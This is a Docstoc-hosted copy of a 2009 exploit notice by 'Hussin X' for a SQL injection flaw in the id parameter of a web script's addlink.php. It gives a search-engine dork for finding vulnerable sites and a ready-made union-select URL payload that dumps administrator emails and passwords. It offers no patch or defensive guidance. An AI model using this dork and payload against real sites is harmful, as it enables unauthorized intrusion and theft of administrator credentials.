list Web addlink.php id Remote SQL Injection Vulnerability

Document Sample
list Web addlink.php id Remote SQL Injection Vulnerability Powered By Docstoc
					                           list Web addlink.php id Remote SQL Injection Vulnerability                              Page 1/1
  1    |
  2    | list Web (addlink.php id) Remote SQL Injection Vulnerability
  3    |
  4    |___________________________________________________
  5    |−−−−−−−−−−−−−−−−−−−−    Hussin X −−−−−−−−−−−−−−−−−−−|
  6    |
  7    |    Author: Hussin X
  8    |
  9    |    Home : WwW.IQ−ty.CoM<http://WwW.IQ−ty.CoM>
  10   |
  11   |    email: darkangel_g85[at]Yahoo[DoT]com
  12   |
  13   |___________________________________________________
  14   |                                                                                                       |
  15   |
  16   | script : http://maker.ir
  17   |
  18   | DorK   : inurl:"ir/addlink.php?id=" or inurl:"addlink.php?id="
  19   |___________________________________________________|
  20
  21   Exploit:
  22   ________
  23
  24
  25   www.[target].com/Script/addlink.php?id=−0+union+select+1,concat(email,0x3e,password),3,4+from+admin−−
  26
  27   IQ−SecuritY FoRuM
  28




Hussin X                                                                                                           12/31/2009

				
DOCUMENT INFO
Shared By:
Categories:
Stats:
views:325
posted:5/24/2010
language:English
pages:1